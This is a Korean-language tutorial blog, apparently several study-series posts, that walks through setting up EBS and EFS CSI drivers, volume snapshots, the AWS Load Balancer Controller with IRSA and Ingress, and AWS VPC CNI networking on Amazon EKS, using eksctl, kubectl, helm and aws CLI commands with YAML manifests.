CSI 를 사용하면, 쿠버네티스의 공통화된 CSI 인터페이스를 통해 다양한 프로바이더를 사용할 수 있습니다.

출처 : AWS 문서

일반적인 CSI driver의 구조입니다. AWS EBS CSI driver 역시 아래와 같은 구조를 가지는데, 오른쪽 StatefulSet 또는 Deployment로 배포된 controller Pod이 AWS API를 사용하여 실제 EBS volume을 생성하는 역할을 합니다. 왼쪽 DaemonSet으로 배포된 node Pod은 AWS API를 사용하여 Kubernetes node (EC2 instance)에 EBS volume을 attach 해줍니다.

AWS CSI 드라이버는 크게 2개 구성요소가 있습니다. AWS API를 호출하면서 AWS 스토리지를 관리하는 CSI-Controller와 kubelet과 상호작용하면서 AWS스토리지를 pod에 마운트하는 CSI-Node가 있습니다.

출처 : https://malwareanalysis.tistory.com/598

AWS EBS

AWS EBS는 Amazon Web Services의 Elastic Block Store를 나타냅니다. 이는 AWS에서 제공하는 저장용 서비스로, 영구적인 블록 스토리지를 제공합니다. 이 서비스를 사용하면 EC2 인스턴스와 같은 다른 AWS 서비스와 함께 사용할 수 있습니다. AWS EBS는 데이터를 보다 안전하게 저장하고 관리할 수 있도록 해줍니다. 이를 통해 데이터의 내구성을 보장하고, 스냅샷을 통한 백업, 복구, 확장 등의 기능을 제공합니다. AWS EBS는 다양한 성능과 용량 옵션을 제공하여 다양한 요구에 맞춰 선택할 수 있습니다. [출처 : ChatGPT]

AWS EBS Controller

PersistentVolume, PersistentVolumeClaim의 accessModes는 ReadWriteOnce로 설정해야 합니다.
EBS스토리지는 동일 AZ에 있는 EC2 인스턴스(에 배포된 파드)에 연결해야 합니다.

Amazon EBS CSI driver as an Amazon EKS add-on

현재 EKS 클러스터의 버전에서 Amazon EBS CFI Driver의 기본 설치 버전을 확인할 수 있으며 이를 설치하는 것이 가장 좋습니다.

# 아래는 aws-ebs-csi-driver 전체 버전 정보와 기본 설치 버전(True) 정보 확인
aws eks describe-addon-versions \
    --addon-name aws-ebs-csi-driver \
    --kubernetes-version 1.28 \
    --query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \
    --output text

AWS EBS CSI Driver와 마찬가지로 IAM 정책이 AWS에서 공식 제공됩니다.

# ISRA 설정 : AWS관리형 정책 AmazonEBSCSIDriverPolicy 사용
eksctl create iamserviceaccount \
  --name ebs-csi-controller-sa \
  --namespace kube-system \
  --cluster ${CLUSTER_NAME} \
  --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \
  --approve \
  --role-only \
  --role-name AmazonEKS_EBS_CSI_DriverRole

EBS CSI Driver Role을 통해 생성된 iamserviceaccount은 쿠버네티스에 AWS 리소스 접근 권한을 부여하기 위해 사용되는 EKS의 IAM Service Account입니다. 따라서 kubectl 명령으로는 해당 serviceaccount가 조회되지 않습니다.

# ISRA 확인
eksctl get iamserviceaccount --cluster myeks

Add-on으로 Amazon E BS CSI Driver를 설치합니다.

# Amazon EBS CSI driver addon 추가
eksctl create addon --name aws-ebs-csi-driver --cluster ${CLUSTER_NAME} --service-account-role-arn arn:aws:iam::${ACCOUNT_ID}:role/AmazonEKS_EBS_CSI_DriverRole --force

# 확인
eksctl get addon --cluster ${CLUSTER_NAME}

CSI Controller 파드는 6개의 컨테이너로 이루어져 있는 것을 확인할 수 있습니다.

kubectl get deploy,ds -l=app.kubernetes.io/name=aws-ebs-csi-driver -n kube-system
kubectl get pod -n kube-system -l app.kubernetes.io/component=csi-driver

gp3가 가격과 성능 모든 면에서 유리하기 때문이기도 하고, 용량과 IOPS, 처리량 (Throughput)을 분리하여 조절할 수 있기 때문에 gp3로 스토리지 클래스를 생성합니다. gp2에서는 1GB에 3 IOPS씩 늘어나는 구조로 되어 있어서 오직 용량만 조절할 수 있었습니다.

AWS GP3은 Amazon Web Services (AWS)의 EBS(Elastic Block Store) 볼륨 유형 중 하나입니다. GP3는 General Purpose SSD(GP2)와 함께 사용되는 새로운 세대의 스토리지 볼륨으로, 고성능과 비용 효율성을 제공합니다. GP3는 이전 세대인 GP2와 비교하여 더욱 향상된 성능과 유연성을 제공합니다. 이를 통해 데이터 처리량과 IOPS(Input/Output Operations Per Second)를 향상시킬 수 있습니다. 또한 GP3는 사용자가 필요에 따라 볼륨의 크기와 성능을 조정할 수 있는 프로비저닝 옵션을 제공하여 비용을 최적화할 수 있도록 합니다. AWS GP3는 다양한 애플리케이션과 워크로드에 적합한 스토리지 솔루션으로 사용될 수 있습니다. [출처 : ChatGPT]

# gp3 스토리지 클래스 생성 - Link
kubectl get sc
cat <<EOT > gp3-sc.yaml
kind: StorageClass
apiVersion: storage.k8s.io/v1
metadata:
  name: gp3
allowVolumeExpansion: true # 콘솔로 볼륨을 확장할 수 있는 옵션
provisioner: ebs.csi.aws.com
volumeBindingMode: WaitForFirstConsumer
parameters:
  type: gp3
  #iops: "5000"
  #throughput: "250"
  allowAutoIOPSPerGBIncrease: 'true' # 용량에 맞게끔 IOPS값도 변경될 수 있도록 옵션 설정
  encrypted: 'true'
  fsType: xfs # 기본값이 ext4
EOT
kubectl apply -f gp3-sc.yaml
kubectl get sc
kubectl describe sc gp3 | grep Parameters

AWS EBS 스토리지 클래스 파라미터를 사용하여 gp3를 사용하는 PVC와 파드를 생성하여 EBS가 파드에 잘 부착되는지 확인합니다.

스토리지 클래스

이 문서는 쿠버네티스의 스토리지클래스의 개념을 설명한다. 볼륨과 퍼시스턴트 볼륨에 익숙해지는 것을 권장한다. 소개 스토리지클래스는 관리자가 제공하는 스토리지의 "classes"를 설명할 수

kubernetes.io

# PVC 생성
cat <<EOT > awsebs-pvc.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: ebs-claim
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 4Gi
  storageClassName: gp3
EOT
kubectl apply -f awsebs-pvc.yaml
kubectl get pvc,pv

# 파드 생성
cat <<EOT > awsebs-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: app
    image: centos
    command: ["/bin/sh"]
    args: ["-c", "while true; do echo \$(date -u) >> /data/out.txt; sleep 5; done"]
    volumeMounts:
    - name: persistent-storage
      mountPath: /data
  volumes:
  - name: persistent-storage
    persistentVolumeClaim:
      claimName: ebs-claim
EOT
kubectl apply -f awsebs-pod.yaml

# PVC, 파드 확인
kubectl get pvc,pv,pod
kubectl get VolumeAttachment

PVC와 파드의 배포를 통해 프로비저닝된 PV의 상세내용을 확인하면 nodeAffinity에 파드와 같은 AZ가 설정된 것을 확인할 수 있습니다. AWS EBS는 연결된 파드와 같은 AZ에 배포되어야 하는 특성이 있습니다.

# 추가된 EBS 볼륨 상세 정보 확인 
aws ec2 describe-volumes --volume-ids $(kubectl get pv -o jsonpath="{.items[0].spec.csi.volumeHandle}") | jq

# PV 상세 확인 : nodeAffinity 내용의 의미는?
kubectl get pv -o yaml | yh

krew 플러그인 중 df-pv를 통해 PV의 정보를 편리하게 볼 수 있도록 제공합니다. 현재 파드에 부착된 볼륨을 얼만큼 사용중인지 한 눈에 파악할 수 있습니다.

kubectl df-pv

온프레미스에서는 사용 중인 볼륨의 사이즈를 변경하는 것이 불가능하지만 AWS EBS는 사용 중인 볼륨의 크기를 증가시킬 수 있습니다.

# 현재 pv 의 이름을 기준하여 4G > 10G 로 증가 : .spec.resources.requests.storage의 4Gi 를 10Gi로 변경
kubectl patch pvc ebs-claim -p '{"spec":{"resources":{"requests":{"storage":"10Gi"}}}}'

# 확인 : 볼륨 용량 수정 반영이 되어야 되니, 수치 반영이 조금 느릴수 있다
kubectl exec -it app -- sh -c 'df -hT --type=xfs'

IOPS를 증가시키는 것 또한 가능합니다.

kubectl annotate pvc ebs-claim ebs.csi.aws.com/iops=5000
kubectl get pvc ebs-claim -o yaml | kubectl neat | yh

AWS Volume SnapShots Controller

# (참고) EBS CSI Driver에 snapshots 기능 포함 될 것으로 보임
kubectl describe pod -n kube-system -l app=ebs-csi-controller

# Install Snapshot CRDs
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshots.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshotclasses.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshotcontents.yaml
kubectl apply -f snapshot.storage.k8s.io_volumesnapshots.yaml,snapshot.storage.k8s.io_volumesnapshotclasses.yaml,snapshot.storage.k8s.io_volumesnapshotcontents.yaml
kubectl get crd | grep snapshot
kubectl api-resources  | grep snapshot

# Install Common Snapshot Controller
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/deploy/kubernetes/snapshot-controller/rbac-snapshot-controller.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/deploy/kubernetes/snapshot-controller/setup-snapshot-controller.yaml
kubectl apply -f rbac-snapshot-controller.yaml,setup-snapshot-controller.yaml
kubectl get deploy -n kube-system snapshot-controller
kubectl get pod -n kube-system -l app=snapshot-controller

# Install Snapshotclass
curl -s -O https://raw.githubusercontent.com/kubernetes-sigs/aws-ebs-csi-driver/master/examples/kubernetes/snapshot/manifests/classes/snapshotclass.yaml
kubectl apply -f snapshotclass.yaml
kubectl get vsclass # 혹은 volumesnapshotclasses

테스트 파드와 PVC를 생성해봅니다.

# PVC 생성
kubectl apply -f awsebs-pvc.yaml

# 파드 생성
kubectl apply -f awsebs-pod.yaml

# 파일 내용 추가 저장 확인
kubectl exec app -- tail -f /data/out.txt

# VolumeSnapshot 생성 : Create a VolumeSnapshot referencing the PersistentVolumeClaim name >> EBS 스냅샷 확인
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ebs-volume-snapshot.yaml
cat ebs-volume-snapshot.yaml | yh
kubectl apply -f ebs-volume-snapshot.yaml

생성된 볼륨 스냅샷을 터미널과 콘솔에서 모두 확인할 수 있습니다.

# VolumeSnapshot 확인
kubectl get volumesnapshot
kubectl get volumesnapshot ebs-volume-snapshot -o jsonpath={.status.boundVolumeSnapshotContentName} ; echo
kubectl describe volumesnapshot.snapshot.storage.k8s.io ebs-volume-snapshot
kubectl get volumesnapshotcontents

# VolumeSnapshot ID 확인 
kubectl get volumesnapshotcontents -o jsonpath='{.items[*].status.snapshotHandle}' ; echo

강제로 장애를 발생시켜 스냅샷으로 복원시켜 보겠습니다. 파드와 PVC는 지워져도 방금 전 생성한 스냅샷은 남아있습니다.

# app & pvc 제거 : 강제로 장애 재현
kubectl delete pod app && kubectl delete pvc ebs-claim

스냅샷을 이용해 PVC를 생성하고 이를 사용하는 파드를 다시 생성합니다.

# 스냅샷에서 PVC 로 복원
cat <<EOT > ebs-snapshot-restored-claim.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: ebs-snapshot-restored-claim
spec:
  storageClassName: gp3
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 4Gi
  dataSource:
    name: ebs-volume-snapshot
    kind: VolumeSnapshot
    apiGroup: snapshot.storage.k8s.io
EOT
cat ebs-snapshot-restored-claim.yaml | yh
kubectl apply -f ebs-snapshot-restored-claim.yaml

# 확인
kubectl get pvc,pv

# 파드 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ebs-snapshot-restored-pod.yaml
cat ebs-snapshot-restored-pod.yaml | yh
kubectl apply -f ebs-snapshot-restored-pod.yaml

파일 내용을 확인해보면 스냅샷에 저장되어 있던 이전 파드의 내용과 이후 파드 내용이 함께 출력되는 것을 확인할 수 있습니다.

# 파일 내용 저장 확인 : 파드 삭제 전까지의 저장 기록이 남아 있다. 이후 파드 재생성 후 기록도 잘 저장되고 있다
kubectl exec app -- cat /data/out.txt

AWS EFS

AWS EFS는 완전 관리형 파일 시스템으로 로컬 시스템의 NFS와 사용방법이 유사합니다.

AWS EFS는 Amazon Web Services (AWS)의 Elastic File System을 나타냅니다. 이는 클라우드 기반의 관리형 파일 시스템 서비스로, 스토리지를 필요로 하는 애플리케이션을 위해 확장 가능한 파일 스토리지를 제공합니다. AWS EFS는 여러 EC2 인스턴스에서 동시에 액세스할 수 있고, 데이터를 저장하고 공유할 수 있는 기능을 제공합니다. 이는 고성능, 확장 가능성 및 내결함성을 제공하여 다양한 애플리케이션 및 워크로드에 이상적입니다. AWS EFS를 사용하면 데이터를 쉽게 관리하고 액세스할 수 있으며, 필요한 만큼 용량을 조정할 수 있습니다. [출처: ChatGPT]

CloudFormation 원클릭 배포에 설정되어 있는 EFS를 확인하고 마운트 해줍니다. nfs4 타입으로 마운트 된 것을 확인할 수 있는데 이를 통해 원격 저장소가 마치 로컬에 저장소가 존재하는 것처럼 사용할 수 있습니다.

# EFS 확인 : AWS 관리콘솔 EFS 확인해보자
echo $EfsFsId
mount -t efs -o tls $EfsFsId:/ /mnt/myefs
df -hT --type nfs4

테스트를 통해 마운트가 제대로 잘 걸려있는지 확인해보고 삭제합니다.

echo "efs file test" > /mnt/myefs/memo.txt
cat /mnt/myefs/memo.txt
rm -f /mnt/myefs/memo.txt

AWS EFS Controller

AWS EFS는 IP기반의 네트워크 저장소이기 때문에 AZ과 상관없이 네트워크 통신만 가능하면 부착할 수 있습니다.

출처 : https://dev.to/awscommunity-asean/aws-eks-with-efs-csi-driver-and-irsa-using-cdk-dgc

Amazon E FS CSI driver as an Amazon EKS add-on

현재 EKS 클러스터의 버전에서 Amazon EFS CFI Driver의 기본 설치 버전을 확인할 수 있으며 이를 설치하는 것이 가장 좋습니다.

// Amazon EFS CSI Driver 버전 정보 (True = 기본 설치 버전)
aws eks describe-addon-versions \
    --addon-name aws-efs-csi-driver \
    --kubernetes-version 1.28 \
    --query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \
    --output text

AWS E FS CSI Driver와 마찬가지로 IAM 정책이 AWS에서 공식 제공됩니다.

# IAM 정책 생성
curl -s -O https://raw.githubusercontent.com/kubernetes-sigs/aws-efs-csi-driver/master/docs/iam-policy-example.json
aws iam create-policy --policy-name AmazonEKS_EFS_CSI_Driver_Policy --policy-document file://iam-policy-example.json

# ISRA 설정 : 고객관리형 정책 AmazonEKS_EFS_CSI_Driver_Policy 사용
eksctl create iamserviceaccount \
  --name efs-csi-controller-sa \
  --namespace kube-system \
  --cluster ${CLUSTER_NAME} \
  --attach-policy-arn arn:aws:iam::${ACCOUNT_ID}:policy/AmazonEKS_EFS_CSI_Driver_Policy \
  --approve

# ISRA 확인
kubectl get sa -n kube-system efs-csi-controller-sa -o yaml | head -5
eksctl get iamserviceaccount --cluster myeks

Add-on으로 Amazon EFS CSI Driver를 설치하고 확인합니다.

# EFS Controller Add-on 설치
eksctl create addon --name aws-efs-csi-driver\
 --cluster ${CLUSTER_NAME}\
 --service-account-role-arn arn:aws:iam::${ACCOUNT_ID}:role/AmazonEKS_EFS_CSI_DriverRole\
 --force

# Amazon EKS 클러스터 Add-On 확인
eksctl get addon --cluster ${CLUSTER_NAME}

# Amazon EFS CSI Driver 설치 자원 확인
kubectl get pod -n kube-system -l "app.kubernetes.io/name=aws-efs-csi-driver,app.kubernetes.io/instance=aws-efs-csi-driver"

EFS 파일시스템을 다수의 파드가 사용하게 설정: Add empty StorageClasses from static example

EFS CSI Driver | EKS Workshop

Before we dive into this section, make sure to familiarized yourself with the Kubernetes storage objects (volumes, persistent volumes (PV), persistent volume claim (PVC), dynamic provisioning and ephemeral storage) that were introduced on the Storage main

www.eksworkshop.com

# 모니터링 (별도의 터미널)
watch 'kubectl get sc efs-sc; echo; kubectl get pv,pvc,pod'

# 실습 코드 clone
git clone https://github.com/kubernetes-sigs/aws-efs-csi-driver.git /root/efs-csi
cd /root/efs-csi/examples/kubernetes/multiple_pods/specs && tree

# EFS 스토리지클래스 생성 및 확인
cat storageclass.yaml | yh
kubectl apply -f storageclass.yaml
kubectl get sc efs-sc

생성된 EFS 스토리지 클래스의 파일시스템ID를 생성할 PV의 volumeHandle로 설정합니다.

# PV 생성 및 확인 : volumeHandle을 자신의 EFS 파일시스템ID로 변경
EfsFsId=$(aws efs describe-file-systems --query "FileSystems[*].FileSystemId" --output text)
sed -i "s/fs-4af69aab/$EfsFsId/g" pv.yaml

cat pv.yaml | yh
kubectl apply -f pv.yaml
kubectl get pv; kubectl describe pv

AWS EFS를 사용하는 app1과 app2를 생성했을 때 동일한 공용 저장소(/data)를 사용하는 것을 확인할 수 있습니다.

# PVC 생성 및 확인
cat claim.yaml | yh
kubectl apply -f claim.yaml
kubectl get pvc

# 파드 생성 및 연동 : 파드 내에 /data 데이터는 EFS를 사용
cat pod1.yaml pod2.yaml | yh
kubectl apply -f pod1.yaml,pod2.yaml

# 파드 정보 확인 : PV에 5Gi 와 파드 내에서 확인한 NFS4 볼륨 크리 8.0E의 차이는 무엇? 파드에 6Gi 이상 저장 가능한가?
kubectl get pods
kubectl exec -ti app1 -- sh -c "df -hT -t nfs4"
kubectl exec -ti app2 -- sh -c "df -hT -t nfs4"

# 공유 저장소 저장 동작 확인
tree /mnt/myefs              # 작업용EC2에서 확인
tail -f /mnt/myefs/out1.txt  # 작업용EC2에서 확인
kubectl exec -ti app1 -- tail -f /data/out1.txt
kubectl exec -ti app2 -- tail -f /data/out2.txt

현재 CSI Driver에서 제공되는 스토리지의 Add-on은 EBS와 EFS뿐만 아니라 다양하게 제공되고 있으니 필요한 내용을 확인해보시기 바랍니다.

Storage - Amazon EKS

Thanks for letting us know this page needs work. We're sorry we let you down. If you've got a moment, please tell us how we can make the documentation better.

docs.aws.amazon.com

[AEWS] AWS LoadBalancer Controller & Ingress

imxsuu — Fri, 15 Mar 2024 17:55:54 +0900

AWS LoadBalancer Controller

온프레미스의 로드밸런서는 NLB 인스턴스 유형으로 iptables 분산룰을 통해서 각 파드에 전달되게 됩니다.

하지만 AWS LoadBalancer는 AWS VPC CNI로 인해 파드와의 직접적인 통신이 가능합니다. 하지만 로드밸런서는 AWS의 서비스이고 Pod는 쿠버네티스의 요소이기 때문에 서로의 존재를 알아차릴 수 없습니다. 따라서 AWS NLB에 파드의 IP를 동적으로 전달해줄 Load Balancer Controller가 필요하며 이 때에는 여러가지 권한이 필요하게 됩니다.

AWS LoadBalancer Controller를 배포해보겠습니다.

# OIDC 확인
aws eks describe-cluster --name $CLUSTER_NAME --query "cluster.identity.oidc.issuer" --output text
aws iam list-open-id-connect-providers | jq

EKS 콘솔 화면에서 같은 URL이 확인되어야 합니다.

AWS LoadBalancer Controller도 파드로써 실제 쿠버네티스 영역에 있지만 AWS에 있는 리소스를 제어하기 위해 IAM 정책이 필요합니다.

# IAM Policy (AWSLoadBalancerControllerIAMPolicy) 생성
curl -O https://raw.githubusercontent.com/kubernetes-sigs/aws-load-balancer-controller/v2.5.4/docs/install/iam_policy.json
aws iam create-policy --policy-name AWSLoadBalancerControllerIAMPolicy --policy-document file://iam_policy.json

해당 IAM 정책을 통해 AWS LoadBalancer Controller가 Action들을 사용할 수 있어야 합니다.

IRSA Workflow

출처 :https://aws.amazon.com/ko/blogs/containers/diving-into-iam-roles-for-service-accounts/

IRSA(IAM Role for Service Account) : 쿠버네티스의 serviceaccount를 사용하여 pod의 권한을 IAM Role로 제어할 수 있도록 하는 기능을 말합니다. serviceaccount는 AWS의 자원이 아닌데 어떻게 IAM Role을 할당할 수 있는 걸까요? 바로 OIDC(OpenID Connect)가 그 역할을 해주기 때문입니다.

OICD(OpenID Connect) : Google 등의 IdP(ID 공급자)에 로그인할 수 있도록 지원하는 표준 인증 프로토콜입니다. 권한허가 프로토콜인 OAuth 2.0 기술을 이용하여 만들어진 인증 레이어로 JSON 포맷을 이용하여 RESTful API 형식을 사용하여 인증을 하게 됩니다. OIDC를 사용하면 손쉽게 외부 서비스를 통해 사용자 인증을 구현할 수 있게 됩니다.

AWS LoadBalancer Controller 에 IRSA 세팅이 필요합니다. 쿠버네티스와 AWS간의 권한을 맵핑해서 맞춰주는 것 정도로 이해하고 보안 챕터에서 더 상세히 다룰 예정입니다.

# AWS Load Balancer Controller를 위한 ServiceAccount를 생성 >> 자동으로 매칭되는 IAM Role 을 CloudFormation 으로 생성됨!
# IAM 역할 생성. AWS Load Balancer Controller의 kube-system 네임스페이스에 aws-load-balancer-controller라는 Kubernetes 서비스 계정을 생성하고 IAM 역할의 이름으로 Kubernetes 서비스 계정에 주석을 답니다
eksctl create iamserviceaccount --cluster=$CLUSTER_NAME --namespace=kube-system --name=aws-load-balancer-controller --role-name AmazonEKSLoadBalancerControllerRole \
--attach-policy-arn=arn:aws:iam::$ACCOUNT_ID:policy/AWSLoadBalancerControllerIAMPolicy --override-existing-serviceaccounts --approve

CloudFormation 콘솔에서 새로운 스택이 생성된 것을 확인할 수 있습니다.

Helm Chart를 통해 AWS LoadBalancer Controller 를 설치합니다.

# Helm Chart로 AWS LoadBalancer Controller 설치
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

network 유형의 로드 밸런서가 프로비저닝 중인 모습을 확인할 수 있으며 함께 생성된 CRD 중 targetgroupbindings와 ingressclassparams는 AWS 대상 타켓과 관련된 리소스를 생성하면 쿠버네티스에서 역으로 AWS에 있는 대상을 수정할 수 있습니다.

AWS LoadBalancer Controller(NLB)를 사용하는 서비스/파드 배포 테스트를 진행해보겠습니다.

# 작업용 EC2 - 디플로이먼트 & 서비스 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/2/echo-service-nlb.yaml
cat echo-service-nlb.yaml | yh
kubectl apply -f echo-service-nlb.yaml

파드의 IP와 로드 밸런서에 등록된 대상의 IP가 같은 모습을 확인할 수 있습니다. 이는 AWS VPC CNI를 사용하여 바이패스로 파드의 IP에 접근이 가능하기 때문입니다.

분산 접속이 실행되는지 확인하기 위해 curl 요청을 100번 실행해보면 분산이 이루어지는 모습을 확인할 수 있습니다.

# 분산 접속 확인
NLB=$(kubectl get svc svc-nlb-ip-type -o jsonpath={.status.loadBalancer.ingress[0].hostname})
curl -s $NLB
for i in {1..100}; do curl -s $NLB | grep Hostname ; done | sort | uniq -c | sort -nr

Ingress

Ingress(ALB)는 클러스터 내부의 L4 계층인 서비스(ClusterIP, NodePort, Loadbalancer)를 L7 계층 중에서도 HTTP/HTTPS로만 외부로 노출하는 역할을 합니다.

# 게임 파드와 Service, Ingress 배포
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ingress1.yaml
cat ingress1.yaml | yh
kubectl apply -f ingress1.yaml

application 유형의 로드 밸런서가 프로비저닝 중인 모습을 확인할 수 있으며 쿠버네티스에서도 ALB URL를 확인할 수 있습니다.

새롭게 추가된 리소스 맵을 통해 대상 그룹을 시각적으로 쉽게 확인할 수 있습니다.

[AEWS] AWS VPC CNI

imxsuu — Mon, 11 Mar 2024 21:56:03 +0900

AWS VPC CNI

쿠버네티스에서는 네트워크 환경을 구성해주는 CNI(Container Network Interface) Plugin이 필수적으로 필요합니다. 따라서 다양한 종류의 플러그인이 존재하는데 온프레미스에서 구성할 수 있는 CNI의 종류는 아래의 그림과 같습니다.

출처 :https://www.tigera.io/blog/calico-in-2020-the-worlds-most-popular-kubernetes-cni/

하지만 AWS에서는 자체 CNI인 AWS VPC CNI를 제공합니다. 이는 파드의 IP를 할당해주고 파드의 IP 네트워크 대역과 노드(워커)의 IP 대역이 같아서 직접 통신이 가능하다는 큰 장점이 있습니다.

supports native VPC networking with the Amazon VPC Container Network Interface(CNI) plugin for Kubernetes.
VPC와 통합 : VPC Flow logs, VPC 라우팅 정책, 보안 그룹(Security group)을 사용 가능합니다.
This plugin assigns an IP address from your VPC to each pod.
VPC ENI에 미리 할당된 IP(=Local-IPAM Warm IP Pool)를 파드에서 사용할 수 있습니다.

출처 :https://aws.github.io/aws-eks-best-practices/networking/vpc-cni/

K8S Calico CNI 와 AWS VPC CNI의 차이

파드간 통신 시 일반적으로 쿠버네티스 CNI는 오버레이(VXLAN, IP-IP 등) 통신을 하고, AWS VPC CNI는 네트워크 통신의 최적화(성능, 지연)를 위해 노드와 파드의 네트워크 대역을 동일하게 설정하여 불필요한 패킷 캡슐화 프로세스를 제거하였습니다. 따라서 직접적인 통신으로 인한 오버헤드 감소효과로 훨씬 효율적인 통신이 가능합니다.

실제로 AWS VPC CNI를 사용하면 노드와 파드가 같은 대역의 IP를 사용하는지 확인할 수 있습니다.

# 노드 IP 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table

# 파드 IP 확인
kubectl get pod -n kube-system -o=custom-columns=NAME:.metadata.name,IP:.status.podIP,STATUS:.status.phase

생성 가능한 최대 파드 개수

Secondary IPv4 addresses : 인스턴스 유형에 최대 ENI 갯수와 할당 가능 IP 수를 조합하여 선정
IPv4 Prefix Delegation : IPv4 28bit 서브넷(prefix)를 위임하여 할당 가능 IP 수와 인스턴스 유형에 권장하는 최대 개수로 선정

노드의 기본 네트워크

Network 네임스페이스는 호스트(Root)와 파드 별(Per Pod)로 구분됩니다.
특정한 파드(kube-proxy, aws-node)는 호스트(Root)의 IP를 그대로 사용합니다. (HostNetwork: true 설정)
t3.medium의 경우 ENI마다 최대 6개의 IP를 가질 수 있습니다.
ENI0, ENI1 으로 2개의 ENI는 자신의 IP 이외에 추가적으로 5개의 보조 프라이빗 IP를 가질 수 있습니다.
coredns 파드는 veth으로 호스트에는 eniY@ifN 인터페이스와 파드에 eth0과 연결되어 있습니다.

실제로 확인해보면 워커노드 1에는 ENI 2개가 구성되어 있고, 보조 프라이빗 IP가 총 10개 할당되어 있는 것을 확인할 수 있습니다.

이제 새로운 파드가 생성되면 워커 노드에 eniY@ifN가 추가되어 새로운 veth가 생성되고 라우팅 테이블에도 해당 정보가 추가됩니다.

노드 간의 파드 통신

AWS VPC CNI 경우 별도의 오버레이(Overlay) 통신 기술 없이, VPC Native하게 파드 간 직접 통신이 가능합니다.

출처 :https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/cni-proposal.md

따라서, 파드 간 통신 시 별도의 NAT동작 없이 직접 통신하는 모습을 tcpdump로 확인해볼 수 있습니다.

파드에서의 외부 통신

SNAT(Source Network Address Translation): 패킷의 출발지 주소를 변경하는 NAT이며, 1:N 상황의 NAT(공용 서비스로의 Outbound) 일 때 사용됩니다.
DNAT(Destination Network Address Translation) : 패킷의 목적지 주소를 변경하는 NAT이며, 주로 공인 IP에서 내부 서버로의 포트 전달에 사용됩니다.

AWS VPC CNI은 외부 통신 시 iptable의 SNAT을 통하여 노드의 eth0 IP로 변경되어 통신합니다.

파드 외부와의 통신 시 SNAT되어 통신하는 모습을 tcpdump로 확인해볼 수 있습니다.

파드의 공인 IP와 배치된 노드의 공인 IP가 같으면 파드가 외부랑 통신할 때 노드의 유동 공인 IP로 SNAT된다는 것을 알 수 있습니다.

노드의 파드 생성 개수 제한

kube-ops-view : 노드의 파드 상태 정보를 웹 페이지에서 실시간으로 출력해줍니다.

kube-ops-view 1.2.2 · funkypenguin/geek-cookbook

A read-only system dashboard for multiple K8s clusters

artifacthub.io

# 설치
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"

# 접속 주소 확인 : 각각 1배, 1.5배, 3배 크기
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=3.0"

# kube-ops-view 접속 URL 확인 (1.5 배율)
kubectl get svc -n kube-system kube-ops-view -o jsonpath={.status.loadBalancer.ingress[0].hostname} | awk '{ print "KUBE-OPS-VIEW URL = http://"$1":8080/#scale=1.5"}'

URL로 접속해보면 실시간 화면으로 파드가 배정된 노드를 확인할 수 있습니다.

워커 노드의 인스턴스 타입별로 파드 생성 개수가 제한됩니다.

인스턴스 타입별 ENI 최대 개수와 할당 가능한 최대 IP 개수에 따라 파드 배치 개수가 결정됩니다.
aws-node 와 kube-proxy 파드는 호스트의 IP를 사용하므로 최대 개수에서 제외됩니다.
(Number of network interfaces for the instance type × (the number of IP addressess per network interface - 1)) + 2

현재 EKS Cluster에서 생성 가능한 최대 파드 개수를 알아보기 위해 임의의 디플로이먼트를 생성합니다.

# 디플로이먼트 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/2/nginx-dp.yaml
kubectl apply -f nginx-dp.yaml

생성된 파드들은 뷰의 위쪽에 자리잡게 됩니다. 아래쪽에 자리잡은 파드들은 kube-system 네임스페이스에 존재하는 파드들입니다.

정상적으로 배포된 파드들은 워커 노드 안에 배치되게 되지만 파드의 최대 개수를 초과하여 Pending된 파드들은 노드들에 배치되지 못한 모습을 실시간으로 확인할 수 있습니다. 파드가 늘어남에 따라 ENI의 개수도 함께 증가되어 사용가능한 보조 IP가 늘어나게 되며, 파드가 삭제되면 ENI의 개수도 자동으로 줄어듭니다.

파드의 최대 개수를 늘리려면 Prefix Delegation, WARM & MIN IP/Prefix Targets, Custom Network의 해결방법이 존재합니다.

